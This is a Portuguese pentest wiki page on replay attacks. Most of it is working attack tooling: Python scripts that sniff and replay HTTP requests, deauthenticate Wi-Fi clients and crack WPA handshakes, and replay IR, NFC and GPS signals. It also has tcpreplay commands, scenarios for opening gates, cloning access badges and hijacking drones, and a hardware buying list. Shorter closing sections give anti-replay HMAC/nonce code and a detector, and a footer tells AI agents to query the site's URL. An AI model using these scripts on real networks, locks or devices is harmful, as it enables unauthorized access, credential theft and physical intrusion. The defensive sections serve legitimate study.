# Replay Attacks

## 📑 **Índice**

1. [Fundamentos do Replay Attack](#-fundamentos-do-replay-attack)
2. [Tipos de Replay Attacks](#-tipos-de-replay-attacks)
3. [Protocolos Vulneráveis](#-protocolos-vulneráveis)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Implementação em Hardware](#-implementação-em-hardware)
6. [Cenários de Ataque](#-cenários-de-ataque)
7. [Detecção e Prevenção](#-detecção-e-prevenção)
8. [Ferramentas e Equipamentos](#-ferramentas-e-equipamentos)

***

## 🔍 **Fundamentos do Replay Attack**

### **O que é um Replay Attack?**

Um **Replay Attack (Ataque de Repetição)** é uma técnica de interceptação e retransmissão de dados onde o atacante captura uma comunicação legítima entre duas partes e a reenvia posteriormente para enganar o sistema receptor. O objetivo é fazer com que o sistema aceite uma transação ou autenticação já realizada anteriormente, como se fosse nova e legítima.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant U as Usuário Legítimo
    participant A as Atacante
    participant S as Servidor

    Note over U,S: 1. Comunicação Normal
    U->>S: Requisição legítima (ex: transferência R$1000)
    S-->>U: Resposta
    
    Note over A: 2. Captura
    A->>A: Intercepta e grava a requisição
    
    Note over A,S: 3. Replay
    A->>S: Reenvia mesma requisição
    S-->>A: Transação repetida!
```

### **Condições para Replay Attack**

```yaml
Pré-requisitos:
  ✅ Acesso ao canal de comunicação (MITM ou sniffing)
  ✅ Ausência de proteções anti-replay (timestamps, nonces, sequence numbers)
  ✅ Capacidade de armazenar e retransmitir pacotes
  ✅ Sistema não valida unicidade das transações

Fatores que facilitam:
  - Comunicação sem criptografia
  - Autenticação baseada apenas em senha fixa
  - Tokens sem expiração
  - Ausência de desafio-resposta
```

***

## 🎯 **Tipos de Replay Attacks**

### **Classificação por Método**

| Tipo                    | Descrição                                     | Dificuldade | Exemplo                                     |
| ----------------------- | --------------------------------------------- | ----------- | ------------------------------------------- |
| **Simple Replay**       | Retransmissão direta do pacote capturado      | Baixa       | Reenviar comando gravado                    |
| **Delayed Replay**      | Retransmissão após período de tempo           | Baixa       | Reenviar token de autenticação horas depois |
| **Reflection Attack**   | Pacote enviado de volta ao remetente original | Média       | Autenticação mútua com respostas espelhadas |
| **Session Replay**      | Reutilização de sessão inteira                | Média       | Replay de handshake TCP/TLS                 |
| **Partial Replay**      | Parte do pacote é modificada                  | Alta        | Modificar apenas campos específicos         |
| **Interleaving Attack** | Combinação de partes de diferentes sessões    | Alta        | Mesclar autenticações diferentes            |

### **Classificação por Alvo**

```yaml
RFID/NFC Replay:
  - Captura de sinal de cartão de acesso
  - Replay para abrir portas
  - Equipamento: Proxmark3, Flipper Zero

Wi-Fi Replay:
  - Captura de handshake WPA/WPA2
  - Replay para autenticação
  - Equipamento: Alfa AWUS036ACH, HackRF

Bluetooth Replay:
  - Captura de pacotes Bluetooth
  - Replay para controle de dispositivos
  - Equipamento: Ubertooth, nRF52840

GPS Replay:
  - Captura de sinal GPS
  - Replay para falsificar localização
  - Equipamento: HackRF, USRP

Network Replay:
  - Captura de pacotes TCP/UDP
  - Replay de comandos e autenticação
  - Equipamento: Wireshark, tcpreplay
```

***

## 📡 **Protocolos Vulneráveis**

### **Protocolos comuns vulneráveis a replay**

| Protocolo                | Vulnerabilidade                | Impacto                 | Mitigação                 |
| ------------------------ | ------------------------------ | ----------------------- | ------------------------- |
| **HTTP Basic Auth**      | Credenciais em texto plano     | Captura de senha        | TLS + tokens              |
| **NTLM**                 | Hash pode ser reutilizado      | Pass-the-hash           | NTLMv2 com timestamps     |
| **Kerberos**             | Tickets podem ser reutilizados | Golden/Silver ticket    | Timestamps curtos         |
| **WEP**                  | IV reutilizado                 | Quebra de criptografia  | WPA2/WPA3                 |
| **RFID/NFC**             | UID fixo                       | Clonagem de cartão      | Autenticação mútua        |
| **GPS**                  | Sinal não autenticado          | Spoofing de localização | Autenticação de fonte     |
| **IR (controle remoto)** | Códigos fixos                  | Clonagem de controle    | Rolling codes             |
| **Garage Door Openers**  | Códigos fixos (antigos)        | Abertura não autorizada | Rolling codes (Security+) |

***

## ⚔️ **Técnicas de Exploração**

### **1. Replay de Autenticação HTTP**

```python
#!/usr/bin/env python3
# http_replay.py

import requests
from scapy.all import *
import time

class HTTPReplay:
    """
    Replay de requisições HTTP autenticadas
    """
    
    def __init__(self, target_url):
        self.target = target_url
        self.captured_requests = []
    
    def capture_request(self, interface='eth0', filter='tcp port 80'):
        """
        Capturar requisição HTTP
        """
        print("[*] Capturando requisição HTTP...")
        
        def packet_handler(pkt):
            if pkt.haslayer(Raw):
                payload = bytes(pkt[Raw])
                if b'POST' in payload or b'GET' in payload:
                    self.captured_requests.append({
                        'timestamp': time.time(),
                        'payload': payload,
                        'src': pkt[IP].src,
                        'dst': pkt[IP].dst
                    })
                    print(f"[+] Requisição capturada de {pkt[IP].src}")
        
        sniff(iface=interface, filter=filter, prn=packet_handler, timeout=30)
        return self.captured_requests
    
    def replay_request(self, request):
        """
        Replay de requisição capturada
        """
        print(f"[*] Replay de requisição de {request['src']}")
        
        # Extrair método e URL da requisição
        payload = request['payload'].decode('utf-8', errors='ignore')
        lines = payload.split('\r\n')
        
        if not lines:
            return False
        
        # Parse da primeira linha (ex: "POST /login HTTP/1.1")
        first_line = lines[0].split(' ')
        if len(first_line) < 2:
            return False
        
        method = first_line[0]
        path = first_line[1]
        
        # Extrair headers e body
        headers = {}
        body = ''
        body_start = False
        
        for line in lines[1:]:
            if line == '':
                body_start = True
                continue
            if not body_start:
                if ': ' in line:
                    key, value = line.split(': ', 1)
                    headers[key] = value
            else:
                body += line
        
        # Replay da requisição
        url = f"http://{self.target}{path}"
        
        if method == 'POST':
            response = requests.post(url, data=body, headers=headers)
        else:
            response = requests.get(url, headers=headers)
        
        print(f"[+] Replay concluído: {response.status_code}")
        return response
    
    def replay_all(self):
        """
        Replay de todas as requisições capturadas
        """
        for req in self.captured_requests:
            self.replay_request(req)
            time.sleep(1)

# Uso
# replay = HTTPReplay('target.com')
# replay.capture_request()
# replay.replay_all()
```

### **2. Replay de Pacotes com tcpreplay**

```bash
# Capturar tráfego
tcpdump -i eth0 -c 100 -w capture.pcap

# Replay em alta velocidade
tcpreplay -i eth0 -p 1000 capture.pcap

# Replay com delay
tcpreplay -i eth0 --pps=10 capture.pcap

# Replay loop infinito
tcpreplay -i eth0 --loop=0 capture.pcap

# Modificar endereços durante replay
tcpreplay --unique-ip -i eth0 capture.pcap
```

### **3. Replay de Handshake WPA/WPA2**

```python
#!/usr/bin/env python3
# wpa_replay.py

from scapy.all import *
import subprocess

class WPAReplay:
    """
    Replay de handshake WPA/WPA2 para cracking
    """
    
    def __init__(self, interface='wlan0mon'):
        self.interface = interface
        self.handshake_file = 'handshake.cap'
    
    def capture_handshake(self, bssid, channel):
        """
        Capturar handshake WPA
        """
        print(f"[*] Capturando handshake de {bssid} no canal {channel}")
        
        # Configurar canal
        os.system(f"iwconfig {self.interface} channel {channel}")
        
        # Iniciar captura
        cmd = f"airodump-ng -c {channel} --bssid {bssid} -w handshake {self.interface}"
        subprocess.Popen(cmd, shell=True)
        
        # Deauth para forçar reconexão
        time.sleep(5)
        deauth_pkt = RadioTap() / Dot11(addr1="ff:ff:ff:ff:ff:ff", 
                                        addr2=bssid, addr3=bssid) / \
                     Dot11Deauth(reason=7)
        sendp(deauth_pkt, iface=self.interface, count=5, verbose=False)
        
        time.sleep(15)
        print("[+] Handshake capturado")
        return True
    
    def replay_handshake(self, capture_file):
        """
        Replay do handshake capturado
        """
        print(f"[*] Replay do handshake de {capture_file}")
        
        # Usar aircrack-ng para verificar
        result = subprocess.run(['aircrack-ng', capture_file], 
                               capture_output=True, text=True)
        
        if "1 handshake" in result.stdout:
            print("[+] Handshake válido detectado")
            return True
        return False
    
    def crack_with_wordlist(self, wordlist):
        """
        Quebrar senha usando wordlist
        """
        print(f"[*] Quebrando handshake com wordlist {wordlist}")
        
        result = subprocess.run(['aircrack-ng', '-w', wordlist, self.handshake_file],
                               capture_output=True, text=True)
        
        for line in result.stdout.split('\n'):
            if "KEY FOUND" in line:
                print(f"[!] SENHA ENCONTRADA: {line}")
                return line
        
        return None

# Uso
# replay = WPAReplay()
# replay.capture_handshake('AA:BB:CC:DD:EE:FF', 6)
# replay.crack_with_wordlist('/usr/share/wordlists/rockyou.txt')
```

### **4. Replay de Sinal IR (Controle Remoto)**

```python
#!/usr/bin/env python3
# ir_replay.py

import pigpio
import time

class IRReplay:
    """
    Replay de sinais IR (controle remoto)
    Hardware: GPIO 18 (IR receiver) e GPIO 17 (IR transmitter)
    """
    
    def __init__(self, rx_pin=18, tx_pin=17):
        self.pi = pigpio.pi()
        self.rx_pin = rx_pin
        self.tx_pin = tx_pin
        self.captured_codes = []
    
    def capture_signal(self, duration=5):
        """
        Capturar sinal IR
        """
        print("[*] Capturando sinal IR - aponte o controle remoto")
        
        # Configurar recepção
        self.pi.set_mode(self.rx_pin, pigpio.INPUT)
        
        start_time = time.time()
        signal = []
        
        while time.time() - start_time < duration:
            # Ler estado do pino
            state = self.pi.read(self.rx_pin)
            signal.append(state)
            time.sleep(0.0001)  # 100μs sampling
        
        self.captured_codes.append(signal)
        print(f"[+] Sinal capturado: {len(signal)} amostras")
        return signal
    
    def replay_signal(self, signal, count=1):
        """
        Replay do sinal IR capturado
        """
        print(f"[*] Replay do sinal IR ({count} vezes)")
        
        # Configurar transmissão
        self.pi.set_mode(self.tx_pin, pigpio.OUTPUT)
        
        for _ in range(count):
            for state in signal:
                self.pi.write(self.tx_pin, state)
                time.sleep(0.0001)
            
            time.sleep(0.5)
        
        print("[+] Replay concluído")
    
    def replay_attack(self):
        """
        Ataque completo de replay IR
        """
        print("=== Ataque de Replay IR ===\n")
        
        # Capturar sinal
        signal = self.capture_signal()
        
        # Replay
        self.replay_signal(signal, count=3)
        
        return True

# Uso
# ir = IRReplay()
# ir.replay_attack()
```

### **5. Replay de NFC/RFID**

```python
#!/usr/bin/env python3
# nfc_replay.py

import nfc
import time
import binascii

class NFCReplay:
    """
    Replay de tags NFC/RFID
    """
    
    def __init__(self, reader='usb'):
        self.clf = nfc.ContactlessFrontend(reader)
        self.captured_uid = None
        self.captured_data = None
    
    def capture_tag(self):
        """
        Capturar tag NFC
        """
        print("[*] Aproxime a tag do leitor")
        
        tag = self.clf.connect(rdwr={'on-connect': self.capture_callback})
        return tag
    
    def capture_callback(self, tag):
        """
        Callback para captura
        """
        self.captured_uid = binascii.hexlify(tag.identifier).decode()
        print(f"[+] Tag capturada: UID={self.captured_uid}")
        
        # Tentar ler dados da tag
        if hasattr(tag, 'dump'):
            self.captured_data = tag.dump()
        
        return True
    
    def emulate_tag(self):
        """
        Emular tag capturada
        """
        if not self.captured_uid:
            print("[-] Nenhuma tag capturada")
            return False
        
        print(f"[*] Emulando tag UID={self.captured_uid}")
        
        # Emulação via hardware (Proxmark3, Flipper Zero)
        # subprocess.run(f"pm3 -c 'hf 14a sim -u {self.captured_uid}'", shell=True)
        
        print("[+] Emulação ativa")
        return True
    
    def clone_to_magic_tag(self):
        """
        Clonar para magic tag (UID gravável)
        """
        if not self.captured_uid:
            return False
        
        print(f"[*] Clonando UID {self.captured_uid} para magic tag")
        print("[+] Aproxime a magic tag do leitor")
        
        # Comando para escrever UID (varia por tag)
        # write_uid(self.captured_uid)
        
        print("[+] Clonagem concluída")
        return True

# Uso
# replay = NFCReplay()
# replay.capture_tag()
# replay.emulate_tag()
```

### **6. Replay de GPS (Spoofing)**

```python
#!/usr/bin/env python3
# gps_replay.py

import serial
import time
import threading

class GPSReplay:
    """
    Replay de sinal GPS para spoofing
    """
    
    def __init__(self, gps_port='/dev/ttyUSB0', nmea_file='gps.nmea'):
        self.gps_port = gps_port
        self.nmea_file = nmea_file
        self.captured_sentences = []
    
    def capture_gps(self, duration=30):
        """
        Capturar sentenças NMEA do GPS
        """
        print(f"[*] Capturando GPS por {duration} segundos")
        
        try:
            ser = serial.Serial(self.gps_port, 9600, timeout=1)
            
            start_time = time.time()
            while time.time() - start_time < duration:
                line = ser.readline().decode('utf-8', errors='ignore').strip()
                if line.startswith('$GPGGA') or line.startswith('$GPRMC'):
                    self.captured_sentences.append(line)
                    print(f"[+] Capturado: {line[:50]}...")
            
            ser.close()
            print(f"[+] {len(self.captured_sentences)} sentenças capturadas")
            
            # Salvar para replay
            with open(self.nmea_file, 'w') as f:
                for sentence in self.captured_sentences:
                    f.write(sentence + '\n')
            
        except Exception as e:
            print(f"[-] Erro: {e}")
    
    def replay_gps(self, speed=1.0):
        """
        Replay de sentenças GPS capturadas
        """
        print(f"[*] Replay de GPS - velocidade {speed}x")
        
        try:
            ser = serial.Serial(self.gps_port, 9600)
            
            with open(self.nmea_file, 'r') as f:
                sentences = f.readlines()
            
            for sentence in sentences:
                ser.write(sentence.encode())
                print(f"[>] {sentence[:50]}...")
                time.sleep(1 / speed)  # Delay entre sentenças
            
            ser.close()
            print("[+] Replay concluído")
            
        except Exception as e:
            print(f"[-] Erro: {e}")
    
    def spoof_location(self, lat, lon, alt=100):
        """
        Gerar sentenças NMEA falsas
        """
        print(f"[*] Spoofing localização: {lat}, {lon}")
        
        # Gerar $GPGGA (fix data)
        ggga = f"$GPGGA,123456,{lat},{lon},1,08,1.0,{alt},M,0,M,,*"
        
        # Gerar $GPRMC (recommended minimum)
        rmc = f"$GPRMC,123456,A,{lat},{lon},0.0,0.0,010124,,,A*"
        
        # Enviar via serial
        try:
            ser = serial.Serial(self.gps_port, 9600)
            ser.write(ggga.encode() + b'\r\n')
            ser.write(rmc.encode() + b'\r\n')
            ser.close()
            print("[+] Spoofing ativo")
            
        except Exception as e:
            print(f"[-] Erro: {e}")

# Uso
# gps = GPSReplay()
# gps.capture_gps(30)
# gps.replay_gps()
```

***

## 🛠️ **Ferramentas e Equipamentos**

### **Hardware para Replay Attacks**

| Equipamento              | Função                | Preço (R$)    | Onde Comprar              |
| ------------------------ | --------------------- | ------------- | ------------------------- |
| **Proxmark3**            | RFID/NFC replay       | \~R$500-1500  | AliExpress, eBay          |
| **HackRF One**           | SDR para replay de RF | \~R$1000-1500 | AliExpress                |
| **Flipper Zero**         | Multitool replay      | \~R$1500-2000 | (Proibido no Brasil)      |
| **Alfa AWUS036ACH**      | Wi-Fi replay          | \~R$300-500   | AliExpress, Mercado Livre |
| **Ubertooth**            | Bluetooth replay      | \~R$800-1200  | AliExpress                |
| **RTL-SDR**              | RF replay básico      | \~R$80-150    | Shopee, AliExpress        |
| **ESP32**                | IR/Wi-Fi replay       | \~R$40-60     | Shopee, AliExpress        |
| **Total Setup Básico**   | RTL-SDR + ESP32       | \~R$120-200   | -                         |
| **Total Setup Avançado** | Proxmark3 + HackRF    | \~R$1500-2500 | -                         |

### **Software para Replay**

```bash
# tcpreplay - replay de tráfego de rede
sudo apt install tcpreplay

# colasoft Packet Player (Windows)
# Wireshark + tcpreplay

# aircrack-ng (Wi-Fi replay)
sudo apt install aircrack-ng

# mdk4 (Wi-Fi deauth + replay)
sudo apt install mdk4

# Proxmark3 software
git clone https://github.com/Proxmark/proxmark3.git

# GNU Radio (SDR replay)
sudo apt install gnuradio

# RFCrack (RF replay)
git clone https://github.com/atlas0fd00m/rfcrack.git
```

***

## 🎯 **Cenários de Ataque**

### **Cenário 1: Abertura de Portão Automático**

```yaml
Cenário: Portão de garagem com controle remoto fixo
  
  Equipamento:
    - RTL-SDR ou HackRF (~R$100-1000)
    - Antena 433 MHz
  
  Procedimento:
    1. Atacante se aproxima do portão
    2. Captura o sinal do controle remoto
    3. Analisa a frequência (ex: 433.92 MHz)
    4. Grava o sinal (RAW ou modulado)
    5. Replay do sinal para abrir o portão
  
  Prevenção:
    - Controles com rolling codes (Security+)
    - Autenticação de dois fatores
```

### **Cenário 2: Clonagem de Crachá de Acesso**

```yaml
Cenário: Controle de acesso RFID/NFC
  
  Equipamento:
    - Proxmark3 (~R$500)
    - Magic tags (~R$10)
  
  Procedimento:
    1. Atacante se aproxima do crachá da vítima
    2. Lê o UID do cartão (aproximação)
    3. Grava o UID em uma magic tag
    4. Usa o cartão clonado para acessar áreas
  
  Prevenção:
    - Autenticação mútua
    - Criptografia forte (DESFire)
    - Monitoramento de clonagem
```

### **Cenário 3: Replay de Comando de Drone**

```yaml
Cenário: Drone com controle 2.4 GHz
  
  Equipamento:
    - HackRF One (~R$1000)
    - Antena 2.4 GHz
  
  Procedimento:
    1. Atacante captura pacotes de controle
    2. Identifica comandos (ex: "pousar")
    3. Replay do comando para drone alvo
    4. Drone executa comando malicioso
  
  Prevenção:
    - Criptografia na comunicação
    - Autenticação de controle
    - Frequency hopping (FHSS)
```

***

## 🛡️ **Detecção e Prevenção**

### **Métodos de Prevenção**

```yaml
Proteções Anti-Replay:
  
  Timestamps:
    - Incluir timestamp na mensagem
    - Servidor rejeita mensagens antigas
    - Necessita sincronização de clock
  
  Nonces (Number used once):
    - Número aleatório de uso único
    - Servidor mantém lista de nonces usados
    - Não requer sincronização
  
  Sequence Numbers:
    - Números sequenciais incrementais
    - Servidor rejeita números já vistos
    - Simples, mas requer estado
  
  Challenge-Response:
    - Servidor envia desafio aleatório
    - Cliente responde com prova
    - Não é replayável
  
  Message Authentication Codes (MAC):
    - HMAC com chave secreta
    - Inclui timestamp/sequence number
    - Autentica e prevê replay
  
  TLS/SSL:
    - Criptografia de sessão
    - Protege contra replay de sessão
    - Handshake com nonces
```

### **Implementação de Proteção**

```python
#!/usr/bin/env python3
# anti_replay.py

import hashlib
import hmac
import time
import secrets

class AntiReplayProtection:
    """
    Implementação de proteção anti-replay
    """
    
    def __init__(self, secret_key):
        self.secret_key = secret_key
        self.used_nonces = set()
        self.window_size = 100  # Tamanho da janela de sequência
    
    def generate_timestamp_message(self, data):
        """
        Gerar mensagem com timestamp
        """
        timestamp = int(time.time())
        message = f"{data}|{timestamp}"
        
        # HMAC para integridade
        signature = hmac.new(self.secret_key.encode(), 
                            message.encode(), 
                            hashlib.sha256).hexdigest()
        
        return f"{message}|{signature}"
    
    def verify_timestamp_message(self, message, max_age=60):
        """
        Verificar mensagem com timestamp
        """
        try:
            parts = message.split('|')
            if len(parts) != 3:
                return False
            
            data = parts[0]
            timestamp = int(parts[1])
            signature = parts[2]
            
            # Verificar timestamp
            now = int(time.time())
            if now - timestamp > max_age:
                print(f"[!] Mensagem expirada: {now - timestamp}s > {max_age}s")
                return False
            
            # Verificar assinatura
            expected = hmac.new(self.secret_key.encode(),
                               f"{data}|{timestamp}".encode(),
                               hashlib.sha256).hexdigest()
            
            if not hmac.compare_digest(signature, expected):
                print("[!] Assinatura inválida")
                return False
            
            return True
            
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    def generate_nonce_message(self, data):
        """
        Gerar mensagem com nonce
        """
        nonce = secrets.token_hex(16)
        message = f"{data}|{nonce}"
        
        signature = hmac.new(self.secret_key.encode(),
                            message.encode(),
                            hashlib.sha256).hexdigest()
        
        return message, nonce
    
    def verify_nonce_message(self, message, nonce):
        """
        Verificar mensagem com nonce
        """
        if nonce in self.used_nonces:
            print("[!] Nonce já utilizado - replay detectado!")
            return False
        
        # Verificar assinatura
        expected = hmac.new(self.secret_key.encode(),
                           message.encode(),
                           hashlib.sha256).hexdigest()
        
        # (Assinatura estaria no final da mensagem)
        
        self.used_nonces.add(nonce)
        
        # Limpar nonces antigos (manter apenas últimos 1000)
        if len(self.used_nonces) > 1000:
            self.used_nonces = set(list(self.used_nonces)[-1000:])
        
        return True

# Exemplo de uso
protection = AntiReplayProtection("my_secret_key")

# Cliente
data = "transfer:1000:account=12345"
message = protection.generate_timestamp_message(data)
print(f"Mensagem enviada: {message[:50]}...")

# Servidor (após atraso)
time.sleep(5)
is_valid = protection.verify_timestamp_message(message)
print(f"Mensagem válida: {is_valid}")
```

### **Detecção de Replay Attacks**

```python
#!/usr/bin/env python3
# replay_detector.py

import time
from collections import defaultdict

class ReplayDetector:
    """
    Detector de ataques de replay
    """
    
    def __init__(self, window_seconds=60):
        self.window_seconds = window_seconds
        self.message_history = defaultdict(list)
    
    def detect_duplicate(self, message_id, source_ip):
        """
        Detectar mensagens duplicadas
        """
        key = f"{source_ip}:{message_id}"
        now = time.time()
        
        # Limpar mensagens antigas
        self.message_history[key] = [t for t in self.message_history[key] 
                                    if now - t < self.window_seconds]
        
        if self.message_history[key]:
            print(f"[!] REPLAY DETECTADO: {message_id} de {source_ip}")
            return True
        
        self.message_history[key].append(now)
        return False
    
    def analyze_sequence(self, sequence, source_ip):
        """
        Analisar sequência de números
        """
        for i, num in enumerate(sequence):
            # Verificar se número já foi visto
            if self.detect_duplicate(str(num), source_ip):
                return True
            
            # Verificar se número está fora de ordem
            if i > 0 and num <= sequence[i-1]:
                print(f"[!] Sequência anormal: {sequence[i-1]} -> {num}")
                return True
        
        return False
    
    def analyze_timing(self, timestamps, source_ip):
        """
        Analisar timestamps para detectar replay
        """
        for ts in timestamps:
            # Verificar se timestamp já foi visto
            if self.detect_duplicate(str(ts), source_ip):
                return True
            
            # Verificar timestamp no futuro
            now = time.time()
            if ts > now + 5:  # 5 segundos de tolerância
                print(f"[!] Timestamp no futuro: {ts} > {now}")
                return True
        
        return False

# Uso
# detector = ReplayDetector()
# detector.detect_duplicate("msg123", "192.168.1.100")
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
Replay Attacks:
  ✅ Técnica simples mas eficaz
  ✅ Hardware acessível (RTL-SDR: ~R$80)
  ✅ Amplo espectro de aplicação (RF, rede, autenticação)
  ✅ Alta taxa de sucesso em sistemas sem proteção

Ameaças:
  - Clonagem de cartões de acesso
  - Abertura de portões automáticos
  - Replay de comandos (drones, IoT)
  - Bypass de autenticação

Defesas:
  - Timestamps
  - Nonces (número de uso único)
  - Sequence numbers
  - Challenge-response
  - TLS/SSL
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/iot/replay-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.